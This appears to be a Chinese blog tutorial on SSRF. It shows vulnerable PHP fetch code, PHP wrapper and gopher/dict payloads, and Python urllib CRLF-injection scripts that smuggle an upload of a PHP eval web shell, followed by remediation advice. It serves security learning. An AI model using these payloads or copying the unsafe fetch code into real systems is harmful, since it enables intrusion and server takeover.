SSRF 漏洞学习

0x00 Preface

笔者将CTFHub的靶场技能树转化为相应知识点,逐个分析供大家学习参考。靶场题目难度比较基础,知识点涵盖较为全面,对小白十分友好。在这里笔者建议大家边学边练,逐个击破:CTFHub SSRF总结

0x01 漏洞概述

SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起这一请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。

请添加图片描述

0x02 形成原因

由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发送请求,并返回对该目标地址请求的数据。

最常见的是当服务器需要外部资源时,比如 web 应用程序需要从 google 加载一张缩略图,此时的请求可能是这样的:

https://public.example.com/upload_profile_from_url.php?url=www.google.com/cute_pugs.jpeg

当从 google.com 获取 cutpugs.jpeg 时,web 应用程序必须访问 google.com 并从 google.com 中检索内容,如果服务器不区分内部资源和外部资源,攻击者就可以轻松地发起恶意请求,获得服务器的敏感文件:

https://public.example.com/upload_profile_from_url.php?url=localhost/敏感文件

以PHP为例,常见的缺陷代码如下:

function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);

PHP function

在 php 中,某些函数的不当使用会导致 SSRF,如:file_get_contentsfsockopencurl_exec

  • file_get_contents()

请添加图片描述

<?php
if (isset($_POST['url'])) { 
    $content = file_get_contents($_POST['url']); 
    $filename ='./images/'.rand().';img1.jpg'; 
    file_put_contents($filename, $content); 
    echo $_POST['url']; 
    $img = "<img src=\"".$filename."\"/>"; 
}
echo $img;
?>
  • fsockopen()

请添加图片描述

<?php 
function GetFile($host,$port,$link) { // 定义一个请求文件的函数
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30); // intval()获取变量的整数值 
    if (!$fp) { 
        echo "$errstr (error number $errno) \n"; 
    } else { // 发起HHTP请求
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}
?>
  • curl_exec()

请添加图片描述

<?php 
if (isset($_POST['url'])) {
    $link = $_POST['url'];
    $curlobj = curl_init();//初始化一个cURL会话为curlobj
    curl_setopt($curlobj, CURLOPT_POST, 0); // 设置URL选项
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($curlobj); // 抓取URL并传递给浏览器
    curl_close($curlobj); // 关闭cURL资源,释放系统资源
    
    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result); 
    echo $result;
}
?>

请添加图片描述
Python后端实现:

#coding: utf-8
    import urllib
    url = 'http://127.0.0.1'
    info = urllib.urlopen(url)
    print(info.read().decode('utf-8'))

0x03 漏洞发现

能够对外发起网络请求的地方,就可能存在 SSRF 漏洞,例如:

  • 社交分享功能:获取超链接的标题等内容进行显示

  • 转码服务:通过 url 地址把原地址的网页内容调优使其适合手机屏幕浏览

  • 在线翻译:翻译指定网址对应网页的内容

  • 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过 url 地址加载或下载图片

  • 图片/文章收藏功能:获取 url 地址中的 title 以及文本内容作为显示以求好的用户体验

  • 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行SSRF测试

  • 网站采集,网站抓取的地方:一些网站会针对你输入的 url 进行一些信息采集工作

  • 数据库内置功能:数据库的比如 mongodb 的 copyDatabase 函数

  • 邮件系统:比如接收邮件服务器地址

  • 编码处理, 属性信息处理,文件处理:比如 ffpmg,ImageMagick,docx,pdf,xml 处理器等

  • 未公开的 api 实现以及其他扩展调用 url 的功能:可以利用 google 语法加上这些关键字去寻找SSRF漏洞:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain ……

  • 从远程服务器请求资源(upload from url 如 discuz!;import & expost rss feed 如 web blog;使用了 xml 引擎对象的地方,如 wordpress xmlrpc.php)

0x04 漏洞利用

在原文基础上整合修改:

SSRF安全指北初识HTTP响应拆分攻击(CRLF Injection)

SSRF在PHP中的利用

上面介绍到了 curl_exec 函数,curl_exec 函数是 PHP cURL 函数列表中的一种,它的功能是执行一个 cURL 会话。cURL 支持 http、https、ftp、gopher、telnet、dict、file、ldap 等协议。

PHP伪协议
  • file://:访问本地系统,读取本地文件。

    条件:allow_url_fopen:off/on,allow_url_include:off/on

  • php://filter:读取文件源码(针对php文件需要base64编码)。

    条件:allow_url_fopen:off/on,allow_url_include:off/on

    用法:php://filter/read=convert.base64-encode/resource=[文件名]

    示例:http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

  • php://input:执行php代码。

    条件:allow_url_fopen:on,allow_url_include:on

    用法:php://input + [POST DATA]

    示例:

    http://127.0.0.1/include.php?file=php://input
    [POST DATA部分]
    <?php phpinfo(); ?>
    
  • data://:自 PHP>=5.2.0 起,可以使用 data:// 数据流封装器,以传递相应格式的数据。通常可以用来执行 php 代码。

    条件:allow_url_fopen:on,allow_url_include:on

    用法:

    data://text/plain,
    data://text/plain;base64,
    

    示例:

    http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

    http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

  • dict://:探测端口的开放情况和指纹信息。

    使用方法:dict://serverip:port/命令:参数

  • gopher://:攻击内网的 FTP、Telnet、Redis、Memcache等服务,也可以进行 GET、POST 请求。

    基本格式:?url=gopher://<host>:<port>/<gopher-path>_后接TCP数据流

SSRF在Python中的利用

在Python中,常用的函数有 urllib(urllib2) 和 requests 库。以 urllib(urllib2) 为例,urllib 并不支持 gopher,dict 协议,所以按照常理来讲 SSRF 在 Python 中的危害应该并不大。但是当 SSRF 遇到 CRLF,奇妙的事情就发生了。

urllib 曾爆出 CVE-2019-9740、CVE-2019-9947 两个漏洞,这两个漏洞都是 urllib(urllib2) 的 CRLF 漏洞,只是触发点不一样。其影响范围都在 urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3 之间。目前大部分服务器的 Python2 版本都在2.7.10 以下,Python3 都为 3.6.x,这两个 CRLF 漏洞的影响力就非常可观了。其实之前还有一个 CVE-2016-5699,同样是 urllib(urllib2)的 CRLF 问题,但是由于时间比较早,影响范围没有这两个大,这里也不再赘叙。

在 HTTP 状态行注入恶意首部字段

测试代码如下:

#!python
#!/usr/bin/env python3
import urllib
import urllib.request
import urllib.error

# url = "http://47.101.57.72:4000
url = "http://47.101.57.72:4000?a=1 HTTP/1.1\r\nCRLF-injection: True\r\nSet-Cookie: PHPSESSID=whoami"
# ?a=1 后面的那个HTTP/1.1是为了闭合正常的HTTP状态行
try:
    info = urllib.request.urlopen(url).info()
    print(info)

except urllib.error.URLError as e:
    print(e)

执行代码后,在VPS上会监听到如下HTTP头:
请添加图片描述
如上图所示,成功引发了CRLF漏洞。

这是由于服务端接收到我们修改后的请求后,响应包此时应该是如下这样的:

GET /?a=1 HTTP/1.1%0d%0aCRLF-injection: True%0d%0aSet-Cookie: PHPSESSID=whoami HTTP/1.1
Accept-Encoding: identity
Host: 47.101.57.72:4000
User-Agent: Python-urllib/3.7
Connection: close

此时,HTTP 状态行中出现了%0d%0a,便会被解析为 HTTP 首部字段的结束并成功插入我们定制的 HTTP 首部字段。最终 HTTP 请求变成了下面这样:

GET /?a=1 HTTP/1.1
CRLF-injection: True
Set-Cookie: PHPSESSID=whoami HTTP/1.1
Accept-Encoding: identity
Host: 47.101.57.72:4000
User-Agent: Python-urllib/3.7
Connection: close
在 HTTP 状态行注入完整 HTTP 请求

首先,由于 Python Urllib 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入完整的 HTTP 请求的话需要先闭合状态行中 HTTP/1.1 ,即保证注入后有正常的 HTTP 状态行。其次为了不让原来的 HTTP/1.1 和 Host 字段影响我们新构造的请求,我们还需要再构造一次 GET / 闭合原来的 HTTP 请求。

假设目标主机存在SSRF,需要我们在目标主机本地上传文件。下面尝试构造如下这个文件上传的完整 POST 请求:

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

编写脚本构造payload:

payload = ''' HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 435
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php eval($_POST[whoami]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

GET / HTTP/1.1
test:'''.replace("\n","\\r\\n")

print(payload)

# 输出: HTTP/1.1\r\n\r\nPOST /upload.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 435\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: PHPSESSID=nk67astv61hqanskkddslkgst4\r\nConnection: close\r\n\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="uploaded"; filename="shell.php"\r\nContent-Type: application/octet-stream\r\n\r\n<?php eval($_POST[whoami]);?>\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6--\r\n\r\nGET / HTTP/1.1\r\ntest:

然后构造请求:

#!python
#!/usr/bin/env python3
import urllib
import urllib.request
import urllib.error

# url = "http://47.101.57.72:4000
url = 'http://47.101.57.72:4000?a=1 HTTP/1.1\r\n\r\nPOST /upload.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 435\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: PHPSESSID=nk67astv61hqanskkddslkgst4\r\nConnection: close\r\n\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="uploaded"; filename="shell.php"\r\nContent-Type: application/octet-stream\r\n\r\n<?php eval($_POST[whoami]);?>\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6--\r\n\r\nGET / HTTP/1.1\r\ntest:'
# ?a=1 后面的那个HTTP/1.1是为了闭合正常的HTTP状态行
try:
    info = urllib.request.urlopen(url).info()
    print(info)

except urllib.error.URLError as e:
    print(e)

请添加图片描述
如上图所示,成功构造出了一个文件上传的POST请求,像这样的POST请求可以被我们用于 SSRF。下面我们分析一下整个攻击的过程。

原始请求数据如下:

GET / HTTP/1.1
Host: 47.101.57.72:4000

当我们插入CRLF数据后,HTTP请求数据变成了:

GET / HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

 HTTP/1.1
Host: 47.101.57.72:4000

上次请求包的Host字段和状态行中的 HTTP/1.1 就单独出来了,所以我们再构造一个请求把他闭合:

GET / HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

GET / HTTP/1.1
test: HTTP/1.1
Host: 47.101.57.72:4000

SSRF在JAVA中的利用

相较于 php,在 java 中 SSRF 的利用局限性较大,一般利用 http 协议探测端口,file 协议读取任意文件。常见的类中如 HttpURLConnection,URLConnection,HttpClients 中只支持 sun.net.www.protocol (java 1.8) 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。

但这里需要注意一个漏洞,那就是 weblogic 的 SSRF,这个 SSRF 是可以攻击可利用的 redis 拿 shell 的。在开始看到这个漏洞的时候,笔者感到很奇怪,因为一般 java 中的 SSRF 是无法攻击 redis 的,但是网上并没有找到太多的分析文章,所以特地看了下 weblogic 的实现代码。

0x04 修复建议

SSRF的攻防过程也是人们对SSRF漏洞认知不断提升的一个过程,从开始各大厂商不认可SSRF漏洞->攻击者通过SSRF拿到服务器的权限->厂商开始重视这个问题,开始使用各种方法防御->被攻击者绕过->更新防御手段,在这个过程中,攻击者和防御者的手段呈螺旋式上升的趋势,也涌现了大量绕过方案。

常见的修复方案如下:

请添加图片描述

用伪代码来表示的话就是:

if check_ssrf(url):
 do_curl(url)
else:
 print(“error”)
  • 禁用不需要的协议,只允许 HTTP 和 HTTPS 请求,可以防止类似于 file://, gopher://, ftp:// 等引起的问题。
  • 白名单的方式限制访问的目标地址,禁止对内网发起请求
  • 过滤或屏蔽请求返回的详细信息,验证远程服务器对请求的响应是比较容易的方法。如果 web 应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
  • 验证请求的文件格式
  • 禁止跳转
  • 限制请求的端口为 http 常用的端口,比如 80、443、8080、8000 等
  • 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

0x05 Reference

PHP伪协议总结 - SegmentFault 思否

我在CTFHub学习SSRF - FreeBuf网络安全行业门户

SSRF学习之ctfhub靶场-基础部分 - soapffz’s blog

一篇文章深入学习SSRF漏洞 - 云+社区 - 腾讯云 (tencent.com)

浅谈SSRF(服务器请求伪造) - 云+社区 - 腾讯云 (tencent.com)

漏洞笔记 | 浅谈SSRF原理及其利用 - 云+社区 - 腾讯云 (tencent.com)

WEB安全]SSRF中URL的伪协议 - 肖洋肖恩、 - 博客园 (cnblogs.com)

SSRF漏洞中使用到的其他协议(附视频+Py) - 知乎 (zhihu.com)

SSRF利用 Gopher 协议拓展攻击面_BerL1n的博客-CSDN博客

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值